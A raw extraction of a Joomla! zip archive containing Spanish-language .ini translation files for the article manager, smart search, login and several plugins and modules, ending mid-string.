COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Texto a mostrar por el enlace" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Texto del enlace" COM_CONTENT_FIELD_URLA_LABEL="Enlace A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Texto del enlace 'A'" COM_CONTENT_FIELD_URLB_LABEL="Enlace B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Texto del enlace 'B'" COM_CONTENT_FIELD_URLC_LABEL="Enlace C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Texto para el enlace 'C'" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Posición de los enlaces" COM_CONTENT_FIELD_URLSPOSITION_DESC="Mostrar los enlaces por encima o por debajo del contenido" COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Usar la configuración del artículo" COM_CONTENT_FIELD_VERSION_DESC="La cantidad de veces que ha sido revisado este artículo." COM_CONTENT_FIELD_VERSION_LABEL="Revisión" COM_CONTENT_FIELD_XREFERENCE_DESC="Una referencia externa opcional, usada para enlazar con fuentes de datos externas." COM_CONTENT_FIELD_XREFERENCE_LABEL="Referencia externa" COM_CONTENT_FIELDSET_PUBLISHING="Opciones de publicación" COM_CONTENT_FIELDSET_RULES="Permisos del artículo" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Opciones de imágenes y enlaces" COM_CONTENT_FILTER_SEARCH_DESC="Buscar un título o alias. Prefijo con 'ID': para buscar un 'ID' de artículo." COM_CONTENT_FLOAT_DESC="Los controles de ubicación de la imagen" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Flotación de la imagen para el texto al completo" COM_CONTENT_FLOAT_LABEL="Flotación de la imagen" COM_CONTENT_FLOAT_INTRO_LABEL="Flotación de la imagen para el texto de introducción" COM_CONTENT_ID_LABEL="ID" COM_CONTENT_LEFT="Izquierda" COM_CONTENT_MONTH="Mes" COM_CONTENT_N_ITEMS_ARCHIVED="%s artículos han sido archivados." COM_CONTENT_N_ITEMS_ARCHIVED_1="%s artículo ha sido archivado." COM_CONTENT_N_ITEMS_CHECKED_IN_0="Ningún artículo ha sido desbloqueado correctamente" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%d artículo ha sido desbloqueado correctamente" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%d artículos han sido desbloqueados correctamente" COM_CONTENT_N_ITEMS_DELETED="%s artículos han sido borrados." COM_CONTENT_N_ITEMS_DELETED_1="%s artículo ha sido borrado." COM_CONTENT_N_ITEMS_PUBLISHED="%s artículos han sido publicados." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s artículo ha sido publicado." COM_CONTENT_N_ITEMS_TRASHED="%s artículos han sido movidos a la papelera." COM_CONTENT_N_ITEMS_TRASHED_1="%s artículo ha sido movido a la papelera." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s artículos han sido despublicados." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s artículo ha sido despublicado." COM_CONTENT_NEW_ARTICLE="Artículo nuevo" COM_CONTENT_NO_ARTICLES_DESC="Seleccionando 'Mostrar', o, cuando 'Categorías vacías' está configurado en 'Mostrar', se mostrará el mensaje 'No hay artículos en esta categoría'." COM_CONTENT_NO_ARTICLES_LABEL="Mensaje para 'Sin artículos'" COM_CONTENT_NONE="Nada" COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="Seleccionando 'Mostrar', se mostrará la cantidad de artículos que hay en la categoría." COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="Cantidad de artículos en la categoría" COM_CONTENT_PAGE_ADD_ARTICLE="Gestor de artículos: Añadir un nuevo artículo" COM_CONTENT_PAGE_EDIT_ARTICLE="Gestor de artículos: Editar un artículo" COM_CONTENT_PAGE_VIEW_ARTICLE="Gestor de artículos: Ver un artículo" COM_CONTENT_PAGEBREAK_DOC_TITLE="Salto de página" COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Insertar un salto de página" COM_CONTENT_PAGEBREAK_TITLE="Título de la página:" COM_CONTENT_PAGEBREAK_TOC="Tabla de contenido del alias:" COM_CONTENT_RIGHT="Derecha" COM_CONTENT_SAVE_SUCCESS="Artículo guardado correctamente" COM_CONTENT_SELECT_AN_ARTICLE="Seleccionar un artículo" COM_CONTENT_SHARED_DESC="Esta configuración se aplica en las opciones compartidas de tipo lista, blog y elementos destacados, siempre y cuando que no sean cambiados desde la configuración del menú." COM_CONTENT_SHARED_LABEL="Opciones compartidas" COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Muestra u oculta las 'Opciones del artículo' de barra deslizante en la vista de la administración para edición de artículos. Esas opciones permiten anular y sobreescribir las opciones globales." COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Mostrar las 'Opciones del artículo'" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="Seleccionando 'Mostrar', se mostrarán las categorías vacías. Una categoría vacía es aquella que no contiene ni artículos, ni subcategorías." COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Mostrar u ocultar las 'Opciones de imágenes y enlaces' cuando se edita desde la administración" COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Mostrar las 'Opciones de imágenes y enlaces' desde la administración" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Mostrar u ocultar 'Opciones de imágenes y enlaces' cuando se edita desde el sitio" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Mostrar las 'Opciones de imágenes y enlaces' desde el sitio" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Muestra u oculta las 'Opciones de publicación' de barra deslizante en la vista de edición de un artículo. Estas opciones permiten aplicar cambios en las fechas o en la identidad de los autores." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Mostrar las 'Opciones de publicación'" COM_CONTENT_SLIDER_EDITOR_CONFIG="Opciones de la pantalla de edición" COM_CONTENT_SUBMENU_CATEGORIES="Categorías" COM_CONTENT_SUBMENU_FEATURED="Artículos destacados" COM_CONTENT_TOGGLE_TO_FEATURE="Cambiar el estado del artículo a 'Destacado'" COM_CONTENT_TOGGLE_TO_UNFEATURE="Cambiar el estado del artículo a 'No destacado'" COM_CONTENT_UNFEATURED="Artículo no destacado" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="Ventana URL de destino" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Ventana de destino del navegador cuando se haga clic sobre el elemento del menú." COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="Ventana de destino para la URL 'A'" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="Ventana de destino para la URL 'B'" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="Ventana de destino para la URL 'C'" COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Por favor, proporcione un título válido y que no esté en blanco." COM_CONTENT_XML_DESCRIPTION="Componente de gestión de artículos" JGLOBAL_NO_ITEM_SELECTED="Sin artículos seleccionados" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="No tiene permiso para crear nuevos artículos en esta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="No tiene permiso para editar una o más de esas categorías." JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." JLIB_RULES_SETTING_NOTES_ITEM="1. Si cambia la configuración, las modificaciones se aplicarán sobre este artículo. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global, desde los grupos de nivel superior y desde la categoría.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior, o desde la categoría; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este artículo (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este artículo (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior, o con lo asignado desde la categoría, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\E\m@m@#language/es-ES/es-ES.com_finder.ininuW+A; $Id: es-ES.com_finder.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_FINDER="Búsquedas inteligentes" COM_FINDER_AN_ERROR_HAS_OCCURRED="Se ha producido un error" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Solo se permite iniciar búsquedas vacías si hay seleccionado algún filtro de entre los restantes." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Permitir búsquedas vacías" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="El tamaño del proceso controla la cantidad de elementos que se procesarán por lotes. Los procesos de tamaño grande necesitan un montón de memoria, mientras que los pequeños necesitan menos memoria pero tienden a durar más tiempo." COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Tamaño de indexación del proceso" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="Los textos descriptivos de los resultados de búsqueda pueden trocearse a la cantidad de caracteres especificados." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Tamaño del texto descriptivo" COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION="Habilite esta opción para crear un archivo de registro en su carpeta 'log' durante el proceso de indexación. Este archivo puede ser útil para detectar problemas durante el proceso de indexación. Se recomienda tener esta opción deshabilitada mientras no sea necesaria." COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL="Habilitar registro" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Cambiar cuando las opciones de búsqueda avanzada estén configuradas para expandirse predeterminadamente." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Búsqueda avanzada expandida" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="Nombre OpenSearch" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="El nombre de proveedor de búsquedas mostrado por este sitio." COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="Descripción OpenSearch" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Descripción mostrada por este proveedor de búsquedas." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Cambiar cuando esté configurado predeterminadamente que se deben resaltar los términos de búsqueda en los resultados." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Resaltar los términos de búsqueda" COM_FINDER_CONFIG_IMPORT_EXPORT="Importar/Exportar" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Ayuda" COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="Para exportar sus opciones de configuración, haga clic sobre el botón 'Exportar' que encontrará en la barra de herramientas.

              Para importar una configuración existente, haga clic en el botón de navegación para seleccionar un archivo de su disco duro o, copie y pegue los datos en el campo de texto de más abajo y luego haga clic en el botón 'Importar' de la barra de herramientas." COM_FINDER_CONFIG_IMPORT_FROM_FILE="Importar desde el archivo:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Importar desde el texto:" COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Búsquedas inteligentes: Importar o exportar la configuración" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="El límite de memoria de la tabla no debería cambiarse mientras no esté obteniendo errores que le indiquen que las tablas 'finder_tokens' o 'finder_tokens_aggregate' están llenas. Predeterminadamente está configurado en 30,000." COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Límite de memoria de la tabla" COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="El multiplicador se usa para controlar cuanta influencia tienen las coincidencias de texto sobre el ámbito general de los resultados de búsqueda. Un multiplicador se considera en relación a otros multiplicadores. Los metadatos vienen dados por un número de fuentes en las que se incluyen las metapalabras clave y la metadescripción, nombres de autor, etc." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Peso de los metadatos del multiplicador" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="El multiplicador se usa para controlar cuanta influencia tienen las coincidencias de texto sobre el ámbito general de los resultados de búsqueda. Un multiplicador se considera en relación a otros multiplicadores. El texto misceláneo viene dado por un número de fuentes en las que se incluyen comentarios y otros datos asociables." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Peso del texto misceláneo del multiplicador" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="El multiplicador se usa para controlar cuanta influencia tienen las coincidencias de texto sobre el ámbito general de los resultados de búsqueda. Un multiplicador se considera en relación a otros multiplicadores. El texto de ruta viene dado por la URL SEF del contenido." COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Peso del texto de ruta del multiplicador" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="La dirección con la que se ordenarán los resultados de búsqueda." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Orden de dirección" COM_FINDER_CONFIG_SORT_ORDER_DESC="El campo con el cual ordenar los resultados de búsqueda." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Campo de ordenación" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascendente" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descendente" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Tarifa" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevancia" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Fecha" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Decida si los usuarios podrán ver las opciones avanzadas de búsqueda o no." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Búsqueda avanzada" COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_DESCRIPTION="Determine si los usuarios podrán ver los consejos en las búsquedas avanzadas." COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_LABEL="Consejos para búsquedas avanzadas" COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Determine si las sugerencias automáticas de búsqueda deben mostrarse o no." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Sugerencias de búsqueda" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Mostrar los filtros de fecha de inicio y finalización en la búsqueda avanzada." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Filtros de fecha" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Determine si la descripción debe mostrarse con los resultados de búsqueda o no." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Descripción de los resultados" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Mostrar la URL asociada al elemento." COM_FINDER_CONFIG_SHOW_URL_LABEL="URL del resultado" COM_FINDER_CONFIG_STEMMER_DESCRIPTION="El analizador lingüístico a usar. Elija 'Bola de nieve' si el analizador lingüístico para su idioma no está disponible o si tiene contenido multiidioma" COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Habilitar el analizador lingüístico si está disponible." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Habilitar el analizador lingüístico" COM_FINDER_CONFIG_STEMMER_LABEL="Analizador lingüístico" COM_FINDER_CONFIG_STEMMER_PORTER_EN="Solo en inglés" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Bola de nieve" COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="El multiplicador se usa para controlar cuanta influencia tienen las coincidencias de texto sobre el ámbito general de los resultados de búsqueda. Un multiplicador se considera en relación a otros multiplicadores. El texto del cuerpo viene dado desde el sumario o cuerpo del contenido." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Peso del texto del cuerpo del multiplicador" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="El multiplicador se usa para controlar cuanta influencia tienen las coincidencias de texto sobre el ámbito general de los resultados de búsqueda. Un multiplicador se considera en relación a otros multiplicadores. El texto del título viene dado desde el título del contenido." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Peso del texto del título del multiplicador" COM_FINDER_CONFIGURATION="Búsquedas inteligentes: Configuración" COM_FINDER_CREATE_FILTER="Crear un filtro" COM_FINDER_EDIT_FILTER="Editar el filtro" COM_FINDER_EXPORT="Exportar" COM_FINDER_FIELD_CREATED_BY_LABEL="Creado por" COM_FINDER_FIELD_CREATED_BY_DESC="El creador del filtro" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Alias" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Nombre a mostrar del creador de filtros" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="La fecha y hora en la que el filtro fue modificado por última vez." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Opciones de indexación" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Indexar" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Opciones de búsqueda" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Buscar" COM_FINDER_FILTER_BRANCH_LABEL="Buscar por %s" COM_FINDER_FILTER_BY="Mostrar %s:" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Búsquedas inteligentes: Editar filtro de búsquedas" COM_FINDER_FILTER_END_DATE_LABEL="Fecha de finalización" COM_FINDER_FILTER_END_DATE_DESCRIPTION="Formato YYYY-MM-DD" COM_FINDER_FILTER_FIELDSET_DETAILS="Detalles del filtro" COM_FINDER_FILTER_FIELDSET_PARAMS="Filtro de referencia" COM_FINDER_FILTER_MAP_COUNT="Contador de mapeados" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="El número de mapeados incluidos en el filtro." COM_FINDER_FILTER_SEARCH_DESCRIPTION="Flitrar la lista por título" COM_FINDER_FILTER_SELECT_ALL_LABEL="Buscar todo" COM_FINDER_FILTER_START_DATE_LABEL="Fecha de inicio" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Formato YYYY-MM-DD" COM_FINDER_FILTER_TIMESTAMP="Creado el" COM_FINDER_FILTER_TITLE_DESCRIPTION="El título del filtro." COM_FINDER_FILTER_WHEN_AFTER="Después" COM_FINDER_FILTER_WHEN_BEFORE="Antes" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="Momento relativo a la fecha de finalización" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="El periodo de tiempo relativo a la fecha de finalización entre el que se debe buscar (antes, exactamente o después de esa fecha)" COM_FINDER_FILTER_WHEN_EXACTLY="Exactamente" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="Momento relativo a la fecha de inicio" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="El periodo de tiempo relativo a la fecha de inicio entre el que se debe buscar (antes, exactamente o después de esa fecha)" COM_FINDER_FILTERS="Filtros" COM_FINDER_FILTERS_DELETE_CONFIRMATION="¿Está seguro de que quiere borrar el filtro o filtros seleccionados?" COM_FINDER_FILTERS_TOOLBAR_TITLE="Búsquedas inteligentes: Gestionar filtros de búsqueda" COM_FINDER_GO="Ir" COM_FINDER_IMPORT="Importar" COM_FINDER_INDEX="Indexar" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="¿Está seguro de que quiere borrar el elemento o elementos seleccionados?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="¿Está seguro de que quiere borrrar TODOS los elementos desde el indexador? Esto puede tomarse su tiempo en sitios muy grandes." COM_FINDER_INDEX_DATE_INFO="Información de los datos del enlace:
              Inicio de publicación: %s
              Fecha del final de publicación: %s
              Inicio del contenido: %s
              Final del contenido: %s" COM_FINDER_INDEX_FILTER_BY_STATE="Cualquier estado de publicación" COM_FINDER_INDEX_HEADING_INDEX_DATE="Última actualización" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Tipo" COM_FINDER_INDEX_HEADING_LINK_URL="URL en bruto" COM_FINDER_INDEX_NO_CONTENT="No hay contenidos que coincidan con su criterio de búsqueda." COM_FINDER_INDEX_NO_DATA="No se ha indexado ningún contenido." COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="El plugin de búsquedas inteligentes no está habilitado. Los cambios en el contenido no actualizarán el índice de las búsquedas inteligentes si no habilita este plugin." COM_FINDER_INDEX_PURGE_SUCCESS="Se han purgado todos los elementos correctamente." COM_FINDER_INDEX_TIP="Iniciar el indexador haciendo clic sobre el botón 'Indexar' de la barra de herramientas." COM_FINDER_INDEX_TOOLBAR_PURGE="Purgar" COM_FINDER_INDEX_TOOLBAR_TITLE="Búsquedas inteligentes: Gestionar el contenido indexado" COM_FINDER_INDEX_TYPE_FILTER="Cualquier tipo de contenido" COM_FINDER_INDEXER_HEADER_COMPLETE="Indexado completo" COM_FINDER_INDEXER_HEADER_ERROR="Se ha producido un error" COM_FINDER_INDEXER_HEADER_INIT="Iniciando el indexador" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimizando el indexador" COM_FINDER_INDEXER_HEADER_RUNNING="El indexador está ejecutandose" COM_FINDER_INDEXER_INVALID_PARSER="Tipo de analizador inválido %s" COM_FINDER_INDEXER_INVALID_STEMMER="Tipo de analizador lingüístico inválido %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="El proceso de indexación se ha completado. Ahora ya puede cerrar esta ventana con seguridad" COM_FINDER_INDEXER_MESSAGE_INIT="El indexador se ha inicializado. No cierre esta ventana." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="Las tablas indexadas se están optimizando para ofrecer el mejor rendimiento posible. No cierre esta ventana." COM_FINDER_INDEXER_MESSAGE_RUNNING="Su contenido está siendo indexado. No cierre esta ventana." COM_FINDER_ITEM_X_ONLY="Solo %s" COM_FINDER_ITEMS="Contenido" COM_FINDER_MAP_PUBLISH_FAILED="El mapeo o mapeos seleccionados no se pueden publicar. El mensaje de error devuelto ha sido: %s." COM_FINDER_MAP_PUBLISH_SUCCESS="El mapeo o mapeos seleccionados se han publicado correctamente." COM_FINDER_MAP_UNPUBLISH_FAILED="El mapeo o mapeos seleccionado no se pueden despublicar. El mensaje de error devuelto ha sido: %s." COM_FINDER_MAP_UNPUBLISH_SUCCESS="El mapeo o mapeos seleccionados han sido despublicados correctamente." COM_FINDER_MAPS="Mapeos" COM_FINDER_MAPS_BRANCH_LINK="Haga clic para mostrar la subestructura de esta estructura principal." COM_FINDER_MAPS_BRANCHES="Solo las principales" COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="¿Está seguro de que quiere borrar el mapeo o mapeos seleccionados?" COM_FINDER_MAPS_MULTILANG="Nota: El plugin 'Sistema -Filtrar idiomas' ha sido habilitado y por lo tanto esta parte no se va a usar." COM_FINDER_MAPS_NO_CONTENT="Sin resultados a mostrar. O bien no hay contenido indexado o, no hay contenido que se corresponda con su criterio de búsqueda." COM_FINDER_MAPS_RETURN_TO_BRANCHES="Volver" COM_FINDER_MAPS_TOOLBAR_TITLE="Búsquedas inteligentes: Gestionar mapeo del contenido" COM_FINDER_MESSAGE_RETURNED="Se ha devuelto el siguiente mensaje por el servidor:" COM_FINDER_N_ITEMS_CHECKED_IN_0="Ningún elemento se ha bloqueado correctamente" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d elementos bloqueados correctamente" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d elementos bloqueados correctamente" COM_FINDER_N_ITEMS_DELETED="%d elementos borrados correctamente" COM_FINDER_N_ITEMS_DELETED_1="%d elemento borrado correctamente" COM_FINDER_N_ITEMS_PUBLISHED="%d elementos publicados correctamente" COM_FINDER_N_ITEMS_PUBLISHED_1="%d elemento publicado correctamente" COM_FINDER_N_ITEMS_TRASHED="%d elementos movidos a la papelera correctamente" COM_FINDER_N_ITEMS_TRASHED_1="%d movido a la papelera correctamente" COM_FINDER_N_ITEMS_UNPUBLISHED="%d elementos despublicados correctamente" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d elementos despublicado correctamente" COM_FINDER_NO_ERROR_RETURNED="No se ha devuelto ningún error. Asegúrese de que el reporte de errores está habilitado." COM_FINDER_NO_FILTERS="Aún no se han creado filtros." COM_FINDER_NO_RESULTS="No hay resultados que coincidan con su criterio de búsqueda." COM_FINDER_QUERY_FILTER_TODAY="Hoy" COM_FINDER_QUERY_OPERATOR_AND="Y" COM_FINDER_QUERY_OPERATOR_NOT="No" COM_FINDER_QUERY_OPERATOR_OR="O" COM_FINDER_SEARCH_LABEL="Buscar %s:" COM_FINDER_STATISTICS="Estadísticas" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Contador" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Tipo de enlace" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Total" COM_FINDER_STATISTICS_STATS_DESCRIPTION="El contenido indexado de este sitio incluye %s términos a través de %s enlaces con %s atributos en %s ramales principales." COM_FINDER_STATISTICS_TITLE="Estadísticas de las búsquedas inteligentes" COM_FINDER_SUBMENU_FILTERS="Filtros de búsqueda" COM_FINDER_SUBMENU_INDEX="Contenido indexado" COM_FINDER_SUBMENU_MAPS="Mapeos del contenido" COM_FINDER_UPDATER_MESSAGE_COMPLETE="La búsqueda inteligente está actualizada." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="La búsqueda inteligente está optimizándose." COM_FINDER_UPDATER_MESSAGE_PROCESS="La búsqueda inteligente está actualizándose." COM_FINDER_XML_DESCRIPTION="Búsquedas inteligentes." PK@y>\yı5"language/es-ES/es-ES.com_login.ininuW+A; $Id: es-ES.com_login.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_LOGIN="Conexión" COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Conexión a la administración de Joomla!" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Ir a la página de inicio del sitio." COM_LOGIN_VALID="Use un nombre de usuario y contraseña válidos para obtener acceso a la administración." COM_LOGIN_XML_DESCRIPTION="Este componente permite que los usuarios se identifiquen en el sitio." PK@y>\ɻv+language/es-ES/es-ES.plg_system_log.sys.ininuW+A; $Id: es-ES.plg_system_log.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_LOG_XML_DESCRIPTION="Proporciona la identificación de usuarios al sistema" PLG_SYSTEM_LOG="Sistema - Acceso" PK@y>\6{+language/es-ES/es-ES.plg_system_sef.sys.ininuW+A; $Id: es-ES.plg_system_sef.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEF_XML_DESCRIPTION="Añade soporte SEF a los enlaces del documento. Opera directamente sobre el HTML y no requiere de etiquetas especiales." PLG_SYSTEM_SEF="Sistema - SEF" PK@y>\R,language/es-ES/es-ES.mod_multilangstatus.ininuW+A; $Id: es-ES.mod_multilangstatus.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_MULTILANGSTATUS="Estado de parámetros multilingüe" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Este módulo muestra el estado de los parámetros para sitios multilingüe." PK@y>\kL.@@9language/es-ES/es-ES.plg_system_plugin_googlemap2.sys.ininuW+A; $Id: es-ES.plg_system_plugin_googlemap2.ini 2011-01-20 00:05:36 ; Created by Tod Normal, website: ; Copyright (C) 2011 Tech Reumer. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 GOOGLE MAPS="Mapas de 